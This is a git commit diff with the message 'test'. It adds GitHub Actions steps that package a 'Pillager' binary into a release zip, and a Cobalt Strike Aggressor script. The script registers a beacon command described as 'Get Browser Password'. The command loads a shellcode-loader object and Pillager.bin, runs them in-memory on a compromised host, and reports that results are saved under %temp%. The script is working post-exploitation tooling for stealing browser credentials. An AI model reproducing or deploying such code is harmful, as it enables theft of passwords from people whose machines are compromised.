test
This commit is contained in:
parent
e4ff9d7074
commit
bbbd4a3a40
|
@ -81,3 +81,25 @@ jobs:
|
||||||
asset_path: ./Pillager.bin
|
asset_path: ./Pillager.bin
|
||||||
asset_name: Pillager.bin
|
asset_name: Pillager.bin
|
||||||
asset_content_type: application/octet-stream
|
asset_content_type: application/octet-stream
|
||||||
|
|
||||||
|
- name: Install 7Zip PowerShell Module
|
||||||
|
shell: powershell
|
||||||
|
run: Install-Module 7Zip4PowerShell -Force -Verbose
|
||||||
|
|
||||||
|
- name: Copy Pillager.bin
|
||||||
|
run: copy .\Pillager.bin .\cs-plugin\module\Pillager.bin
|
||||||
|
|
||||||
|
- name: Pack Plugin Folder
|
||||||
|
shell: powershell
|
||||||
|
run: Compress-7Zip "cs-plugin" -ArchiveFileName "cs-plugin.zip" -Format Zip
|
||||||
|
|
||||||
|
- name: Upload Plugin Zip
|
||||||
|
id: upload-release-bin
|
||||||
|
uses: actions/upload-release-asset@v1
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
with:
|
||||||
|
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||||
|
asset_path: ./cs-plugin.zip
|
||||||
|
asset_name: cs-plugin.zip
|
||||||
|
asset_content_type: application/octet-stream
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
beacon_command_register(
|
||||||
|
"Pillager",
|
||||||
|
"Get Browser Password",
|
||||||
|
"Usage: Pillager");
|
||||||
|
|
||||||
|
alias Pillager {
|
||||||
|
$bid = $1;
|
||||||
|
$barch = barch($bid);
|
||||||
|
|
||||||
|
$handle1 = openf(script_resource("module/scloader. $+ $barch $+ .o"));
|
||||||
|
$data1 = readb($handle1, -1);
|
||||||
|
closef($handle1);
|
||||||
|
|
||||||
|
$handle2 = openf(script_resource("module/Pillager.bin"));
|
||||||
|
$data2 = readb($handle2, -1);
|
||||||
|
closef($handle2);
|
||||||
|
|
||||||
|
|
||||||
|
$args = bof_pack($bid, "b", $data2);
|
||||||
|
beacon_inline_execute($bid, $data1, "go", $args);
|
||||||
|
btask($bid, "Results can be found at %temp%\\Pillager");
|
||||||
|
|
||||||
|
}
|
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue